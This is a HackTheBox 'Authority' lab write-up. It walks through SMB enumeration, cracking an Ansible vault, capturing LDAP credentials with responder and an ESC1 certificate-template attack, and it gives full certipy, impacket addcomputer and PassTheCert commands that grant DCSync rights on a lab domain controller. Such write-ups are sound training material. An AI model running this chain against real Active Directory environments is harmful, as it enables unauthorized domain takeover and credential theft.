# HackTheBox - Authority ## NMAP ``` PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-07 19:35:01Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2023-09-07T19:36:12+00:00; +3h59m59s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Issuer: commonName=htb-AUTHORITY-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-08-09T23:03:21 | Not valid after: 2024-08-09T23:13:21 | MD5: d49477106f6b8100e4e19cf2aa40dae1 |_SHA-1: ddedb994b80c83a9db0be7d35853ff8e54c62d0b 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2023-09-07T19:36:12+00:00; +4h00m00s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Issuer: commonName=htb-AUTHORITY-CA 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2023-09-07T19:36:12+00:00; +3h59m59s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Issuer: commonName=htb-AUTHORITY-CA | Public Key type: rsa | Public Key bits: 2048 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8443/tcp open ssl/https-alt |_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1). |_ssl-date: TLS randomness does not represent time |_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9 ``` Enumerating smb shares, we'll see two shares, `Development` and `Department Shares` From Development shares, we'll get Ansible directory which further has directories for LDAP and ADCS So we'll just recursively download all files From `LDAP/TODO.md` there's a note about changing the admin's LDAP password We can find the ansible vault encrypted password `PWM/defaults/main.yml` To decrypt these, we need the vault password so generating the hash of any of them them with `ansible2john.py ` With john we can crack the hash with the password `!@#$%^&*` The account points towards `PWM` which is is an open source password self-service application for LDAP directories. We can access the application on port 8443 On logging in, it shows an error about not able to reach the ldap directories However we can login to configuration manager Here we can access the configuration, download the existing configuration and also to upload one as well We can try adding our own IP to LDAP and run `responder` to see if it's reaching to our host so we may be able to capture the account with which it's authentication on LDAP After uploading this file, starting responder we'll receive clear text password for `svc_ldap` user ```bash responder -I tun0 -w -d -v ``` Through `crackmapexec`, we can verify if this user can read department share Retrieving these directories recursively but all of these directories were empty On enumerating users, we don't get to see any users other than administrator and svc_ldap Since there was ADCS directory, which points to Active Directory Certificate Services, that means that server role might be installed, we can enumerate vulnerable certificate templates with `certipy` ```bash certipy find -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -vulnerable -stdout -dc-ip 10.10.11.222 ``` This `CorpVPN` template shows that it has `EnrolleSuppliesSubject` enable meaning that `SAN` (Subject Alternative Name) is enabled which allows to request certificate on behalf other user, in other words impersonating any domain user `EKU` (Extended Key Usage) is set to `Client Authentication` which defines the purpose of this template which can be used to authenticate on any of domain server and lastly we have the enrollment rights for domain computers allowed which is known as `ESC1 certificate template attack` If we can add a machine account, we can request for administrator's certificate, so verifying if we have machine quota available Quota of 10 is available, adding a machine account with `addcomputer.py` from impacket ```bash addcomputer.py -method LDAPS -dc-ip 10.10.11.222 -computer-pass P@ass12345 -computer-name UwU authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' ``` After adding the machine account, we can request for administrator's certificate ```bash certipy req -c 'AUTHORITY-CA' -u 'UwU$' -p 'P@ass12345' -template 'CorpVPN' -upn 'administrator' -dc-ip 10.10.11.222 ``` On retrieving the NThash it failed with an error `KDC_ERR_PDATA_TYPE_NOSUPP` The reason we couldn't get the hash through this way is because of DC not supporting the PKINIT authentication which is a pre-authentication allowing to retrieve either TGT or NTHash, reason being certificate doesn't have Smart Card Logon EKU installed, having a read on this article, it's still possible to abuse this since we have the administrator's certificate we can do the following attacks - Add our created machine account to DC's `msDS-AllowedToActOnBehalfOfOtherIdentity` property to perform resource based delegation `RCBD` - Modify account's password - Granting the low privileged user DCSync rights This can be achieved through PassTheCert https://github.com/AlmondOffSec/PassTheCert/tree/main/Python The scripts needs the key and certificate separately, through certipy we can extract them ```bash certipy cert -pfx administrator.pfx -nokey -out administrator.crt certipy cert -pfx administrator.pfx -nocert -out administrator.key ``` Here I am going with granting svc_ldap DCSync rights ```bash python3 /opt/PassTheCert/PassTheCert.py -action modify_user -crt administrator.crt -key administrator.key -target svc_ldap -elevate -domain authority.htb -dc-ip 10.10.11.222 ``` Now logging using `evil-winrm` on WinRM # References - https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html?ref=7ms.us - https://7ms.us/7ms-532-tales-of-pentest-pwnage-part-39/ - https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d - https://github.com/AlmondOffSec/PassTheCert/tree/main/Python